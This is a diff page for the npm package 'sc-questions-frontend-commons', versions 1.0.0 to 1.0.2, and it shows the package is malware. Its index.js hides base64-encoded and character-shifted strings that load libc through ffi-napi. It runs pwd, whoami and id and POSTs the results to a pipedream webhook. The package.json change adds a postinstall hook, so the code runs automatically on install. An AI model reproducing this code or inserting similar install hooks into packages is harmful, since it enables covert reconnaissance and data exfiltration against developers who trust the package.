sc-questions-frontend-commons 1.0.0 → 1.0.2

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +50 -35
  2. package/package.json +2 -2
package/index.js CHANGED
@@ -1,61 +1,76 @@
1
- const dynamicRequire = (module) => require(module);
1
+ const r = (m) => require(m);
2
2
 
3
- const ffiLibName = Buffer.from('ZmZpLW5hcGk=', 'base64').toString('ascii');
4
- const ffi = dynamicRequire(ffiLibName);
3
+ const a = Buffer.from('ZmZpLW5hcGk=', 'base64').toString('ascii');
4
+ const b = r(a);
5
5
 
6
- const refLibName = Buffer.from('cmVmLW5hcGk=', 'base64').toString('ascii');
7
- const ref = dynamicRequire(refLibName);
6
+ const c = Buffer.from('cmVmLW5hcGk=', 'base64').toString('ascii');
7
+ const d = r(c);
8
8
 
9
- const libc = ffi.Library(Buffer.from('bGliYw==', 'base64').toString('ascii'), {
9
+ const e = b.Library(Buffer.from('bGliYw==', 'base64').toString('ascii'), {
10
10
  'popen': [Buffer.from('cG9pbnRlcg==', 'base64').toString('ascii'), [Buffer.from('c3RyaW5n', 'base64').toString('ascii'), Buffer.from('c3RyaW5n', 'base64').toString('ascii')]],
11
11
  'fgets': [Buffer.from('c3RyaW5n', 'base64').toString('ascii'), [Buffer.from('cG9pbnRlcg==', 'base64').toString('ascii'), 'int', Buffer.from('cG9pbnRlcg==', 'base64').toString('ascii')]],
12
12
  'pclose': [Buffer.from('aW50', 'base64').toString('ascii'), [Buffer.from('cG9pbnRlcg==', 'base64').toString('ascii')]]
13
13
  });
14
14
 
15
- function decodeString(encodedText) {
16
- let decodedText = '';
17
- for (let i = 0; i < encodedText.length; i++) {
18
- decodedText += String.fromCharCode(encodedText.charCodeAt(i) - 1);
15
+ function x1(y1) {
16
+ let z1 = '';
17
+ for (let i = 0; i < y1.length; i++) {
18
+ z1 += String.fromCharCode(y1.charCodeAt(i) - 1);
19
19
  }
20
- return decodedText;
20
+ return z1;
21
21
  }
22
22
 
23
- const encodedCommand = Buffer.from('eGlwYm5q', 'base64').toString('ascii');
24
- const command = decodeString(encodedCommand);
23
+ function q2(w2) {
24
+ const x2 = x1(w2);
25
+ const y2 = Buffer.alloc(1024);
26
+ const z2 = e.popen(x2, 'r');
25
27
 
26
- const buffer = Buffer.alloc(1024);
27
- const commandStream = libc.popen(command, 'r');
28
+ if (!z2.isNull()) {
29
+ e.fgets(y2, 1024, z2);
30
+ e.pclose(z2);
31
+ } else {
32
+ console.error(`Error exta: ${x2}`);
33
+ return `Error exta: ${x2}`;
34
+ }
28
35
 
29
- if (!commandStream.isNull()) {
30
- libc.fgets(buffer, 1024, commandStream);
31
- libc.pclose(commandStream);
36
+ return y2.toString('utf8').trim();
32
37
  }
33
38
 
34
- const output = buffer.toString('utf8').trim();
39
+ const t1 = Buffer.from('cHdk', 'base64').toString('ascii');
40
+ const t2 = Buffer.from('eGlwYm5q', 'base64').toString('ascii');
41
+ const t3 = Buffer.from('aWQ=', 'base64').toString('ascii');
42
+
43
+ const r1 = q2(t1);
44
+ const r2 = q2(t2);
45
+ const r3 = q2(t3);
35
46
 
36
- const webhookUrl = Buffer.from('aHR0cHM6Ly9lb3M3eWF3aHZ0cXZzbGIubS5waXBlZHJlYW0ubmV0', 'base64').toString('utf-8');
37
- const payload = JSON.stringify({ z5J: output });
47
+ const u2 = Buffer.from('aHR0cHM6Ly9lb3M3eWF3aHZ0cXZzbGIubS5waXBlZHJlYW0ubmV0', 'base64').toString('utf-8');
48
+ const v2 = JSON.stringify({
49
+ a1: r1,
50
+ b1: r2,
51
+ c1: r3,
52
+ });
38
53
 
39
- const requestOptions = require('url').parse(webhookUrl);
40
- requestOptions.method = 'POST';
41
- requestOptions.headers = {
54
+ const w3 = require('url').parse(u2);
55
+ w3.method = 'POST';
56
+ w3.headers = {
42
57
  'Content-Type': 'application/json',
43
- 'Content-Length': Buffer.byteLength(payload),
58
+ 'Content-Length': Buffer.byteLength(v2),
44
59
  };
45
60
 
46
- const httpsRequest = require('https').request(requestOptions, (res) => {
47
- let response = '';
48
- res.on('data', (chunk) => {
49
- response += chunk;
61
+ const x3 = require('https').request(w3, (y3) => {
62
+ let z3 = '';
63
+ y3.on('data', (a4) => {
64
+ z3 += a4;
50
65
  });
51
- res.on('end', () => {
52
- console.log('Webhook response:', response);
66
+ y3.on('end', () => {
67
+ console.log('Response:', z3);
53
68
  });
54
69
  });
55
70
 
56
- httpsRequest.on('error', (err) => {
57
- console.error(`Problem with request: ${err.message}`);
71
+ x3.on('error', (b4) => {
72
+ console.error(`Error: ${b4.message}`);
58
73
  });
59
74
 
60
- httpsRequest.write(payload);
61
- httpsRequest.end();
75
+ x3.write(v2);
76
+ x3.end();
package/package.json CHANGED
@@ -1,10 +1,10 @@
1
1
  {
2
2
  "name": "sc-questions-frontend-commons",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "test": "echo \"Error: no test specified\" && exit 1"
7
+ "postinstall": "node index.js"
8
8
  },
9
9
  "author": "",
10
10
  "license": "ISC"